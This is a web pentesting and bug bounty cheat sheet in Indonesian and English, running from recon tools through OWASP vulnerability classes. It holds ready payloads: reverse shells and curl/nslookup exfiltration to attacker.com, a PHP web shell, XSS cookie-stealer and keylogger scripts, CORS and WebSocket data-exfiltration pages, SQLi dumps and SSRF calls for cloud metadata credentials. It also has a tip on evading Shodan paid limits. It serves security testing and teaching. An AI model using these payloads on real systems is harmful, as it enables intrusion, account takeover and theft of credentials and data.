Web Application Penetration Testing Notes

Dokumentasi lengkap untuk web application security testing dan bug bounty hunting

📋 Table of Contents

Enumeration
WebApp Pentest
Attack Surface Recon
Subdomain Discovery
Subdomain Takeover
Port Scanning
Content Discovery
Parameters
Vulnerability Scanners
GitHub Recon
Nuclei AI
Shodan Dorking
All CMS
Open Redirect
Authentication Vulnerabilities
Directory Traversal
OS Command Injection
Business Logic Vulnerabilities
Information Disclosure
Access Control Vulnerabilities
File Upload Vulnerabilities
XXE
XSS Cross Site Scripting
SQLi
JWT
HTTP Host Header
WebSocket
DOM Based Vulnerabilities
Clickjacking
CORS
CSRF
SSRF
Tools

Enumeration

Deskripsi: Fase awal pengumpulan informasi tentang target untuk memahami infrastruktur, teknologi, dan potential attack vectors.

Metodologi

Passive reconnaissance (OSINT)
Active reconnaissance (direct interaction)
Service identification
Technology stack fingerprinting

Tools & Commands

# Whois lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY

# Email harvesting
theHarvester -d target.com -b all

# ASN lookup
whois -h whois.radb.net AS[NUMBER]

Checklist

WebApp Pentest

Deskripsi: Framework sistematis untuk testing keamanan aplikasi web secara menyeluruh dari berbagai aspek.

Testing Phases

Information Gathering - Mapping aplikasi
Configuration & Deployment - Identifikasi misconfig
Identity Management - Testing autentikasi
Authorization - Testing otorisasi
Session Management - Testing session handling
Input Validation - Testing injection flaws
Error Handling - Information leakage
Cryptography - Weak crypto implementation
Business Logic - Logic flaws
Client-Side - DOM, XSS, clickjacking

Metodologi OWASP

Follow OWASP Testing Guide v4.2
OWASP Top 10 checklist
ASVS (Application Security Verification Standard)

Attack Surface Recon

Deskripsi: Mapping seluruh permukaan serangan untuk mengidentifikasi semua entry points dan potential vulnerabilities.

Attack Surface Components

Web Applications - Main & sub applications
APIs - REST, GraphQL, SOAP endpoints
Mobile Apps - Android & iOS
Third-party Integrations - External services
Cloud Services - S3, Azure Storage, etc.

Tools

# Asset discovery
amass enum -d target.com

# Technology detection
whatweb target.com
wappalyzer

# JavaScript analysis
subjs -i urls.txt | hakrawler

Checklist

All subdomains mapped
All ports & services identified
All URLs & endpoints discovered
Technology stack documented
Third-party services identified

Subdomain Discovery

Deskripsi: Menemukan semua subdomain dari target untuk memperluas attack surface dan menemukan forgotten/unmaintained assets.

Passive Methods

# Certificate transparency
crt.sh
certspotter

# DNS aggregators
subfinder -d target.com
assetfinder -subs-only target.com
amass enum -passive -d target.com

Active Methods

# DNS bruteforce
puredns bruteforce wordlist.txt target.com -r resolvers.txt

# Permutation
dnsgen domains.txt | massdns -r resolvers.txt -o S

# Reverse DNS
prips 1.2.3.0/24 | hakrevdns -d target.com

Validation

# Check alive subdomains
httpx -l subdomains.txt -o alive.txt

# Screenshot
gowitness file -f alive.txt

Subdomain Takeover

Deskripsi: Vulnerability dimana subdomain mengarah ke service yang sudah tidak aktif, memungkinkan attacker mengambil alih subdomain tersebut.

Vulnerable Services

GitHub Pages
Heroku
AWS S3
Azure
Shopify
Tumblr
WordPress.com
And many more...

Detection

# Automated scanning
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt
subzy -targets subdomains.txt

# Nuclei templates
nuclei -l subdomains.txt -t subdomain-takeover/

Manual Verification

Check CNAME records
Verify service response
Attempt registration
Confirm takeover

Common Fingerprints

GitHub Pages: "There isn't a GitHub Pages site here"
Heroku: "No such app"
S3: "NoSuchBucket"
Azure: "404 Web Site not found"

Port Scanning

Deskripsi: Identifikasi port yang terbuka dan service yang berjalan untuk menemukan potential entry points.

Methodology

# Quick scan
nmap -F target.com

# Full TCP scan
nmap -p- target.com

# Service version detection
nmap -sV -sC target.com

# Aggressive scan
nmap -A -T4 target.com

# Mass scanning
masscan -p1-65535 target.com --rate=1000

Common Ports to Check

20,21    - FTP
22       - SSH
23       - Telnet
25       - SMTP
53       - DNS
80,443   - HTTP/HTTPS
3306     - MySQL
5432     - PostgreSQL
6379     - Redis
27017    - MongoDB
8080,8443 - HTTP Alternative

Content Discovery

Deskripsi: Menemukan hidden directories, files, dan endpoints yang tidak terlink secara publik.

Tools & Techniques

# Directory bruteforce
ffuf -w wordlist.txt -u https://target.com/FUZZ

# Recursive discovery
feroxbuster -u https://target.com -w wordlist.txt

# Content discovery
dirsearch -u https://target.com -e php,html,js

# Gobuster
gobuster dir -u https://target.com -w wordlist.txt

Wordlists

SecLists/Discovery/Web-Content/
common.txt
directory-list-2.3-medium.txt
raft-large-files.txt

Common Targets

/admin, /administrator
/backup, /backups, .bak
/config, /configuration
/api, /v1, /v2
/test, /dev, /staging
/.git, /.svn, /.env
/phpinfo.php
/robots.txt, /sitemap.xml

Parameters

Deskripsi: Discovering dan testing parameter yang digunakan aplikasi untuk menemukan injection points dan logic flaws.

Parameter Discovery

# From URLs
arjun -u https://target.com/page

# From JavaScript
getallurls target.com | grep "?"
subjs -i urls.txt

# Parameter mining
paramspider -d target.com

Parameter Types

GET parameters - URL query strings
POST parameters - Form data
JSON parameters - API requests
XML parameters - SOAP/XML APIs
Cookies - Session & tracking
Headers - Custom headers

Testing Techniques

# Parameter fuzzing
ffuf -u https://target.com/?FUZZ=value -w params.txt

# Parameter pollution
param=value&param=value2

# Parameter manipulation
id=1 → id=2, id=-1, id=0, id=999999

Vulnerability Scanners

Deskripsi: Automated tools untuk scanning vulnerabilities secara cepat dan efisien.

Popular Scanners

# Nuclei - Template based
nuclei -l urls.txt -t cves/ -t vulnerabilities/

# Nikto - Web server scanner
nikto -h target.com

# WPScan - WordPress scanner
wpscan --url target.com --api-token YOUR_TOKEN

# Nessus - Comprehensive scanner
# (GUI-based)

# Acunetix - Commercial scanner
# (GUI-based)

Custom Scanning

# Nuclei custom templates
nuclei -l urls.txt -t custom-template.yaml

# Jaeles scanning
jaeles scan -u https://target.com

GitHub Recon

Deskripsi: Mencari sensitive information dan credentials yang ter-leak di GitHub repositories.

Search Queries

# Organization repos
org:target

# Code search
target.com password
target.com api_key
target.com secret_key
target.com access_token

# Specific files
filename:.env target.com
filename:config.php target.com
extension:pem target.com

Tools

# GitDorker
python3 GitDorker.py -tf token.txt -d dorks.txt -o results.txt

# Gitrob
gitrob -github-access-token TOKEN org_name

# TruffleHog
trufflehog git https://github.com/target/repo

What to Look For

API keys & tokens
Database credentials
AWS keys
Private keys
Configuration files
Internal URLs
Employee information

Nuclei AI

Deskripsi: Menggunakan Nuclei templates dengan AI-powered scanning untuk vulnerability detection yang lebih intelligent.

Installation & Usage

# Install
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Update templates
nuclei -update-templates

# Basic scan
nuclei -u https://target.com

# Template-based scan
nuclei -l urls.txt -t cves/ -t vulnerabilities/

# Severity filtering
nuclei -l urls.txt -severity critical,high

Template Categories

CVEs
Vulnerabilities
Exposures
Misconfigurations
Technologies
Fuzzing
Workflows

Custom Templates

id: custom-check
info:
  name: Custom Vulnerability Check
  severity: high
requests:
  - method: GET
    path:
      - "{{BaseURL}}/vulnerable-endpoint"
    matchers:
      - type: word
        words:
          - "vulnerability indicator"

Shodan Dorking

Deskripsi: Menggunakan Shodan search engine untuk menemukan exposed services dan vulnerable systems.

Useful Dorks

# By organization
org:"Target Inc"

# By hostname
hostname:target.com

# By technology
product:"Apache httpd"

# Webcams
title:"IP Webcam"

# Databases
port:3306 product:MySQL
port:27017 product:MongoDB

# Default credentials
authentication disabled

# Specific CVEs
vuln:CVE-2021-44228

Shodan CLI

# Search
shodan search "org:Target"

# Host information
shodan host 1.2.3.4

# Download results
shodan download results "hostname:target.com"

Shodan Premium Bypass

# Using multiple free accounts
# Rotate API keys
# Use shodan-python library with proxy

# Alternative: Censys
censys search "target.com"

All CMS

Deskripsi: Testing untuk Content Management Systems (WordPress, Joomla, Drupal, dll).

WordPress

# WPScan
wpscan --url target.com --enumerate u,p,t --api-token TOKEN

# Common vulns
/wp-admin/ - Admin panel
/wp-content/uploads/ - File upload
/xmlrpc.php - XML-RPC
/wp-json/ - REST API

Joomla

# JoomScan
joomscan -u target.com

# Common paths
/administrator/ - Admin panel
/configuration.php - Config file

Drupal

# Droopescan
droopescan scan drupal -u target.com

# Common vulns
Drupalgeddon (CVE-2018-7600)

Other CMS

Magento - Magento Scanner
Shopify - Shopify specific tests
Ghost - Check version & vulns
Strapi - API vulnerabilities

Open Redirect

Deskripsi: Vulnerability yang memungkinkan attacker redirect user ke external malicious site melalui trusted domain.

Common Parameters

?url=
?redirect=
?next=
?return=
?continue=
?dest=
?redirect_uri=
?callback=
?jump=
?target=

Testing Payloads

# Basic
https://target.com/redirect?url=https://evil.com

# Double encoding
https://target.com/redirect?url=https%253A%252F%252Fevil.com

# Protocol handlers
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# Bypass filters
//evil.com
///evil.com
////evil.com
https:evil.com
https:/evil.com

# Whitelisting bypass
https://target.com@evil.com
https://evil.com.target.com
https://target.com.evil.com

Impact

Phishing attacks
OAuth token theft
Session hijacking

Authentication Vulnerabilities

Deskripsi: Kelemahan dalam mekanisme autentikasi yang memungkinkan unauthorized access.

Types of Auth Vulns

Weak Passwords - Brute force
Default Credentials - admin/admin
Password Reset Flaws - Token manipulation
2FA Bypass - Response manipulation
Session Fixation - Session manipulation
Credential Stuffing - Leaked credentials

Testing Checklist

[ ] Brute force protection
[ ] Password complexity
[ ] Account lockout mechanism
[ ] Password reset security
[ ] 2FA implementation
[ ] Session management
[ ] OAuth/SSO vulnerabilities
[ ] Remember me functionality

Common Attacks

# Brute force
hydra -L users.txt -P passwords.txt target.com http-post-form

# 2FA bypass
- Response manipulation
- Code reuse
- Rate limit bypass
- Backup codes

# Password reset
- Token prediction
- Token not expiring
- No rate limiting

Directory Traversal

Deskripsi: Vulnerability yang memungkinkan attacker mengakses file dan directory di luar web root directory.

Basic Payloads

../
../../
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd

URL Encoded

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c

Double Encoded

%252e%252e%252f
%252e%252e/
..%252f

Common Targets

/etc/passwd
/etc/shadow
C:\Windows\System32\config\SAM
C:\Windows\win.ini
/proc/self/environ
/var/log/apache2/access.log

Bypass Techniques

# Null byte
../../etc/passwd%00

# Nested traversal
....//....//etc/passwd

# Absolute path
/etc/passwd

# Windows
..\..\..\..\windows\system32\drivers\etc\hosts

OS Command Injection

Deskripsi: Vulnerability yang memungkinkan attacker execute arbitrary OS commands pada server.

Injection Points

User input yang diproses oleh system()
Shell commands
Subprocess execution
External program calls

Basic Payloads

# Unix/Linux
; ls
| ls
|| ls
& ls
&& ls
`ls`
$(ls)

# Blind injection
; sleep 10
; ping -c 10 attacker.com

# Windows
& dir
&& dir
| dir
|| dir

Common Commands

# Information gathering
whoami
id
uname -a
cat /etc/passwd
ifconfig

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc -e /bin/sh attacker.com 4444

Detection & Exploitation

# Time-based detection
; sleep 10 &

# Out-of-band detection
; nslookup $(whoami).attacker.com &

# Blind exploitation
; curl http://attacker.com/$(whoami) &

Business Logic Vulnerabilities

Deskripsi: Flaws dalam design dan implementation business logic yang dapat disalahgunakan attacker.

Common Logic Flaws

Price Manipulation - Negative values, tampering
Race Conditions - Concurrent requests
Workflow Bypass - Skip payment steps
Insufficient Process Validation - Missing checks
Excessive Trust - Client-side validation only

Examples

# Price manipulation
POST /checkout
amount=-100

# Race condition
# Multiple parallel requests to redeem coupon

# Workflow bypass
# Direct access to /order-complete

# Parameter tampering
user_id=1 → user_id=2
role=user → role=admin

Testing Methodology

Map business flows
Identify critical actions
Test boundary conditions
Manipulate parameters
Test state transitions
Race condition testing

Information Disclosure

Deskripsi: Unintentional exposure of sensitive information yang dapat membantu attacker.

Types of Information Leakage

Error Messages - Stack traces, debug info
Comments in Source - Credentials, internal IPs
Backup Files - .bak, .old, ~
Version Information - Software versions
Directory Listings - Autoindex enabled
API Responses - Verbose errors

Common Findings

# Error messages
500 Internal Server Error with stack trace

# Source code comments
<!-- Admin password: secretpass -->

# Backup files
/config.php.bak
/database.sql.old
/.git/
/.env

# Headers
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3

# Robots.txt
Disallow: /admin-secret/

Tools

# Dirsearch
dirsearch -u target.com -e bak,old,txt,zip

# Wayback Machine
waybackurls target.com | grep -E "\.bak|\.old|\.zip"

Access Control Vulnerabilities

Deskripsi: Kelemahan dalam enforcement authorization yang memungkinkan unauthorized actions.

Types of Access Control Issues

Vertical Privilege Escalation - User → Admin
Horizontal Privilege Escalation - User A → User B
IDOR - Insecure Direct Object Reference
Missing Function Level Access Control
Forced Browsing

IDOR Examples

# User profile
/user/profile?id=123 → id=124

# Order details
/order?order_id=1000 → order_id=1001

# File access
/download?file=user123.pdf → file=user124.pdf

# API endpoints
GET /api/users/123 → /api/users/124

Testing Checklist

[ ] Test with different user roles
[ ] Manipulate object references
[ ] Test direct URL access
[ ] Check API endpoints authorization
[ ] Test parameter manipulation
[ ] Cross-account testing

File Upload Vulnerabilities

Deskripsi: Vulnerability yang memungkinkan attacker upload malicious files ke server.

Attack Vectors

Unrestricted Upload - No filtering
Extension Bypass - .php5, .phtml
Content-Type Bypass - Modify header
Double Extension - file.php.jpg
Null Byte Injection - file.php%00.jpg

Malicious File Types

# Web shells
.php, .jsp, .asp, .aspx

# Server-side scripts
.py, .pl, .rb

# Client-side
.html, .svg (XSS)

# Archives
.zip, .tar (path traversal)

Bypass Techniques

# Extension bypass
shell.php5
shell.phtml
shell.php.jpg

# Content-Type manipulation
Content-Type: image/jpeg
(but contains PHP code)

# Magic bytes
Add GIF89a to beginning of PHP file

# Case manipulation
shell.PhP
shell.pHp

Exploitation

// Simple web shell
<?php system($_GET['cmd']); ?>

// Upload via cURL
curl -F "file=@shell.php" https://target.com/upload

XXE

Deskripsi: XML External Entity injection vulnerability yang memungkinkan attacker read files, SSRF, dan denial of service.

Basic XXE Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
  <data>&xxe;</data>
</root>

Blind XXE (OOB)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>

XXE via SSRF

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin">]>
<root>&xxe;</root>

Common Targets

# Local file read
file:///etc/passwd
file:///c:/windows/win.ini

# SSRF
http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/

# PHP wrappers
php://filter/convert.base64-encode/resource=/etc/passwd

XSS Cross Site Scripting

Deskripsi: Injection vulnerability yang memungkinkan attacker execute malicious scripts di browser victim.

Types of XSS

Reflected XSS - Payload di URL/input
Stored XSS - Tersimpan di database
DOM-based XSS - Client-side script vulnerable

Basic Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

Bypass Filters

# Case manipulation
<ScRiPt>alert(1)</sCrIpT>

# Encoding
&#60;script&#62;alert(1)&#60;/script&#62;
%3Cscript%3Ealert(1)%3C/script%3E

# Alternative tags
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

# Event handlers
<input autofocus onfocus=alert(1)>
<select onfocus=alert(1) autofocus>

Advanced XSS

// Cookie stealing
<script>
fetch('https://attacker.com/?c='+document.cookie)
</script>

// Keylogger
<script>
document.onkeypress=function(e){
  fetch('https://attacker.com/?k='+e.key)
}
</script>

// BeEF hook
<script src="http://attacker.com/hook.js"></script>

SQLi

Deskripsi: SQL Injection vulnerability yang memungkinkan attacker manipulate database queries.

Types of SQLi

Error-based - Error messages reveal data
Union-based - UNION SELECT for data extraction
Blind SQLi - Boolean/Time-based
Out-of-band - DNS/HTTP exfiltration

Basic Detection

# Simple tests
' OR '1'='1
' OR 1=1--
" OR "1"="1
') OR ('1'='1

# Error detection
'
"
`
')
")
`)

Union-based

# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (error = 2 columns)

# Union injection
' UNION SELECT NULL,NULL--
' UNION SELECT 'a','b'--
' UNION SELECT username,password FROM users--

Blind SQLi

# Boolean-based
' AND 1=1-- (True)
' AND 1=2-- (False)

# Time-based
' AND SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

# Substring extraction
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

Tools

# SQLMap
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump

JWT

Deskripsi: JSON Web Token vulnerabilities yang dapat menyebabkan authentication bypass dan privilege escalation.

JWT Structure

header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Common Vulnerabilities

None Algorithm - alg: none
Weak Secret - Brute force HMAC
Algorithm Confusion - RS256 → HS256
Kid Parameter Injection - Path traversal
JKU/X5U Header Injection - SSRF

Attacks

# None algorithm
{
  "alg": "none",
  "typ": "JWT"
}

# Weak secret brute force
hashcat -m 16500 jwt.txt wordlist.txt

# Algorithm confusion
# Change alg from RS256 to HS256
# Sign with public key as secret

# Kid injection
"kid": "../../dev/null"

# JKU injection
"jku": "http://attacker.com/jwks.json"

Tools

# JWT Tool
python3 jwt_tool.py TOKEN

# Decode
jwt.io

HTTP Host Header

Deskripsi: Vulnerability yang muncul dari improper validation HTTP Host header.

Attack Vectors

Password Reset Poisoning - Malicious reset link
Web Cache Poisoning - Inject malicious content
SSRF - Access internal resources
Virtual Host Routing Bypass - Access restricted vhosts

Testing Payloads

# Basic injection
Host: evil.com

# Port injection
Host: target.com:evil.com

# Absolute URL
GET https://target.com/ HTTP/1.1
Host: evil.com

# Duplicate headers
Host: target.com
Host: evil.com

# X-Forwarded-Host
X-Forwarded-Host: evil.com

# X-Host
X-Host: evil.com

Password Reset Poisoning

POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

# Reset link akan ke: http://evil.com/reset?token=...

WebSocket

Deskripsi: Testing WebSocket connections untuk security vulnerabilities.

Common Issues

Cross-Site WebSocket Hijacking (CSWSH)
Missing Authentication
Injection Attacks
Message Tampering

Testing Methodology

// Connect to WebSocket
const ws = new WebSocket('wss://target.com/ws');

// Test CSWSH
ws.onopen = function() {
  ws.send('sensitive_command');
};

ws.onmessage = function(event) {
  console.log('Received:', event.data);
};

CSWSH Attack

<!-- Attacker page -->
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
  ws.send('{"action":"get_sensitive_data"}');
};
ws.onmessage = function(e) {
  fetch('https://attacker.com/?data=' + e.data);
};
</script>

Tools

# Burp Suite WebSocket support
# OWASP ZAP WebSocket testing
# wscat - WebSocket client
wscat -c wss://target.com/ws

DOM Based Vulnerabilities

Deskripsi: Client-side vulnerabilities yang terjadi dalam Document Object Model (DOM).

Types

DOM XSS - JavaScript execution
DOM-based Open Redirect
Client-side SQL Injection
WebSocket-URL Poisoning

Common Sources

document.URL
document.documentURI
document.baseURI
location.href
location.search
location.hash

Common Sinks

eval()
setTimeout()
setInterval()
document.write()
element.innerHTML

DOM XSS Example

// Vulnerable code
var search = location.search.substring(1);
document.write(search);

// Attack
https://target.com/page?search=<script>alert(1)</script>

# Detection
# Analyze JavaScript source code
# Trace data flow from source to sink
# Test with payloads

Tools

# DOM Invader (Burp Suite extension)
# DOMPurify - Testing sanitization
# Manual code review

Clickjacking

Deskripsi: UI redressing attack yang menipu user untuk click pada hidden elements.

Attack Principle

Overlay transparent iframe di atas legitimate website untuk mencuri clicks.

Basic PoC

<!DOCTYPE html>
<html>
<head>
  <title>Clickjacking Demo</title>
  <style>
    iframe {
      position: absolute;
      width: 500px;
      height: 500px;
      opacity: 0.0001;
      z-index: 2;
    }
    button {
      position: absolute;
      top: 100px;
      left: 100px;
      z-index: 1;
    }
  </style>
</head>
<body>
  <button>Click for FREE iPhone!</button>
  <iframe src="https://target.com/delete-account"></iframe>
</body>
</html>

Advanced Techniques

# Multistep clickjacking
# Drag & drop clickjacking
# Touch-based clickjacking (mobile)

# Likejacking (Facebook)
<iframe src="https://facebook.com/like-page"></iframe>

Defense Testing

# Check for headers
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'

Bypass Techniques

# Double iframe
# Sandbox attribute manipulation
# Browser-specific bypasses

CORS

Deskripsi: Cross-Origin Resource Sharing misconfigurations yang memungkinkan unauthorized cross-origin requests.

Vulnerable Configurations

# Reflect Origin
Access-Control-Allow-Origin: [reflected from Origin header]
Access-Control-Allow-Credentials: true

# Null origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Wildcard with credentials (not allowed but some implement wrong)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

# Subdomain wildcards
Access-Control-Allow-Origin: *.target.com

Testing Methodology

# Test with different origins
curl -H "Origin: https://evil.com" https://target.com/api/data

# Check response headers
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Exploitation

<!-- Attacker page: evil.com -->
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) {
    fetch('https://attacker.com/?data=' + xhr.responseText);
  }
}
xhr.open('GET', 'https://target.com/api/sensitive-data', true);
xhr.withCredentials = true;
xhr.send();
</script>

Null Origin Bypass

<iframe sandbox="allow-scripts" src="data:text/html,
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/data', true);
xhr.withCredentials = true;
xhr.onload = function() {
  parent.postMessage(xhr.responseText, '*');
};
xhr.send();
</script>"></iframe>

Common Misconfigurations

1. Reflecting arbitrary origins
2. Accepting null origin
3. Weak regex validation (evil-target.com)
4. Insecure subdomain wildcards
5. Pre-domain wildcard (*.target.com matches eviltarget.com)

CSRF

Deskripsi: Cross-Site Request Forgery attack yang memaksa authenticated user melakukan unwanted actions.

Attack Requirements

Relevant action (change password, transfer money)
Cookie-based authentication
No unpredictable parameters
No CSRF protection

Basic CSRF PoC

<!-- GET-based CSRF -->
<img src="https://target.com/change-email?email=attacker@evil.com">

<!-- POST-based CSRF -->
<form action="https://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="submit" value="Click here">
</form>
<script>
  document.forms[0].submit();
</script>

JSON CSRF

<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","role":"admin","ignore":"' value='"}' type='hidden'>
</form>
<script>
  document.forms[0].submit();
</script>

CSRF with Flash

// crossdomain.xml allows custom headers
URLRequest req = new URLRequest("https://target.com/api");
req.method = "POST";
req.requestHeaders.push(new URLRequestHeader("X-CSRF-Token", "stolen-token"));

Defense Bypass

# Missing token validation
# Token not tied to user session
# Token in cookie instead of header
# Accepting GET for state-changing actions
# Weak token generation
# Clickjacking + CSRF combo

Testing Checklist

[ ] Remove CSRF token parameter
[ ] Use another user's CSRF token
[ ] Change request method (POST → GET)
[ ] Remove token from request entirely
[ ] Test with blank token value
[ ] Use same token twice
[ ] Test with different Content-Type

SSRF

Deskripsi: Server-Side Request Forgery yang memungkinkan attacker make requests from server ke internal/external resources.

Common Vulnerable Parameters

url=
uri=
path=
dest=
redirect=
next=
data=
reference=
site=
html=

Basic SSRF Payloads

# Access internal services
http://localhost
http://127.0.0.1
http://0.0.0.0
http://[::1]

# Internal IP ranges
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/

AWS Metadata Exploitation

# Get IAM credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]

# Get user data
http://169.254.169.254/latest/user-data/

Bypass Techniques

# IP encoding
http://2130706433 (decimal)
http://0x7f000001 (hex)
http://0177.0.0.1 (octal)

# DNS rebinding
http://ssrf.localdomain (resolves to 127.0.0.1)

# URL bypass
http://127.1
http://localhost.evil.com
http://evil.com#@target.com
http://target.com@evil.com

# Protocol smuggling
dict://localhost:11211/stats
gopher://localhost:6379/_SET%20KEY%20VALUE
file:///etc/passwd

# Redirect bypass
http://evil.com/redirect-to-localhost

Blind SSRF

# Time-based detection
http://internal-service (slow response)

# Out-of-band detection
http://burpcollaborator.net
http://attacker.com/$(whoami)

# DNS exfiltration
http://$(whoami).attacker.com

Advanced SSRF

# Read local files
file:///etc/passwd
file:///c:/windows/win.ini

# Port scanning
http://internal-network:22
http://internal-network:80
http://internal-network:443

# Protocol smuggling
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
dict://127.0.0.1:11211/stats

Impact

Access internal services
Cloud metadata theft
Read local files
Port scanning internal network
RCE via protocol smuggling
Bypass firewall restrictions

Tools

Deskripsi: Collection of online tools dan websites yang berguna untuk penetration testing.

Reconnaissance Tools

# DNS & Domain
- dnsdumpster.com - DNS recon & mapping
- securitytrails.com - DNS history & WHOIS
- viewdns.info - Multiple DNS tools
- crt.sh - Certificate transparency

# Search Engines
- shodan.io - IoT & service search
- censys.io - Internet-wide scanning
- zoomeye.org - Cyberspace search
- fofa.so - Asset search

# OSINT
- hunter.io - Email finder
- phonebook.cz - OSINT tool
- intelx.io - Intelligence search
- dehashed.com - Breach data

Subdomain & Recon

# Subdomain Discovery
- subdomainfinder.c99.nl
- pentest-tools.com/information-gathering/find-subdomains-of-domain
- spyse.com
- riddler.io

# Wayback Machine
- web.archive.org
- archive.is
- urlscan.io

Vulnerability Scanning

# Web Scanners
- pentest-tools.com
- hackertarget.com
- intruder.io
- detectify.com

# SSL/TLS Testing
- ssllabs.com/ssltest
- testssl.sh (online version)
- htbridge.com/ssl

# Security Headers
- securityheaders.com
- observatory.mozilla.org

Encoding & Decoding

# General
- cyberchef.org - Swiss army knife
- base64decode.org
- urldecoder.org
- hashkiller.io

# JWT
- jwt.io - JWT decoder
- token.dev - JWT debugger

# Hash Analysis
- crackstation.net
- hashes.com
- cmd5.org

Payload Generation

# XSS
- xsshunter.com - Blind XSS
- xss.js.org - XSS payloads
- portswigger.net/web-security/cross-site-scripting/cheat-sheet

# SQL Injection
- sqlmap.org
- portswigger.net/web-security/sql-injection/cheat-sheet

# Command Injection
- revshells.com - Reverse shell generator
- reverse-shell.sh - Shell commands

Collaboration & Testing

# Request Inspection
- webhook.site - Instant URLs
- requestbin.com
- beeceptor.com
- pipedream.com

# Burp Collaborator Alternatives
- interact.sh
- burpcollaborator.net
- canarytokens.org

# File Sharing
- file.io - Temporary file sharing
- transfer.sh
- tmpfiles.org

Exploitation Databases

# Vulnerability DBs
- exploit-db.com
- cvedetails.com
- nvd.nist.gov
- vuldb.com

# Exploit Search
- sploitus.com
- packetstormsecurity.com
- rapid7.com/db

API Testing

# REST API
- reqbin.com - API tester
- hoppscotch.io - API client
- apitester.com

# GraphQL
- graphql-playground.com
- altair.sirmuel.design

Cryptography

# Hash Identification
- tunnelsup.com/hash-analyzer
- onlinehashcrack.com

# Encryption/Decryption
- cryptii.com
- dcode.fr
- quipqiup.com (cipher solver)

Reverse Engineering

# Deobfuscation
- beautifier.io - JavaScript beautifier
- jsnice.org - JS deobfuscator
- deobfuscate.io

# Decompilers
- dogbolt.org - Multi-decompiler
- decompiler.com

Mobile Testing

# Android
- apkpure.com - APK downloads
- apkcombo.com
- apkmirror.com

# Analysis
- virustotal.com
- hybrid-analysis.com
- any.run

Network Tools

# Port Scanning
- hackertarget.com/nmap-online-port-scanner
- pentest-tools.com/network-vulnerability-scanning/tcp-port-scanner-online-nmap

# Whois
- whois.domaintools.com
- who.is
- lookup.icann.org

Wordlists & Fuzzing

# Wordlist Collections
- github.com/danielmiessler/SecLists
- wordlists.assetnote.io
- github.com/fuzz-security

# Password Lists
- weakpass.com
- crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

Report Writing

# Templates
- pentestreports.com
- github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report
- offensive-security.com/reports/sample-penetration-testing-report.pdf

# Screenshot Tools
- prnt.sc
- lightshot.com
- flameshot.org (desktop)

Learning Resources

# Training Platforms
- portswigger.net/web-security
- hackerone.com/hacktivity
- bugcrowd.com/resources
- pentesterlab.com

# Practice Labs
- hackthebox.eu
- tryhackme.com
- pentesterlab.com
- overthewire.org

Browser Extensions

# Essential Extensions
- Wappalyzer - Technology detection
- Cookie-Editor - Cookie manipulation
- User-Agent Switcher
- FoxyProxy - Proxy management
- Hack-Tools - Pentest toolkit

Automation & CI/CD

# API Security
- apisecurity.io
- owasp.org/www-project-api-security

# Pipeline Integration
- snyk.io
- dependabot.com
- sonarqube.org

Additional Resources

Bug Bounty Platforms

HackerOne - hackerone.com
Bugcrowd - bugcrowd.com
Intigriti - intigriti.com
YesWeHack - yeswehack.com
Synack - synack.com

Communities

Twitter #bugbounty #bugbountytips
Reddit r/bugbounty r/netsec
Discord servers (Nahamsec, etc.)
YouTube channels (STÖK, InsiderPhD, Nahamsec)

Documentation

OWASP Testing Guide
OWASP Top 10
PTES (Penetration Testing Execution Standard)
NIST Guidelines

Contribution

Feel free to contribute to this GitBook by:

Submitting pull requests
Reporting issues
Suggesting new techniques
Sharing real-world examples

Disclaimer

⚠️ IMPORTANT DISCLAIMER

Usage of all tools/scripts on this site for attacking targets without prior mutual consent is illegal.

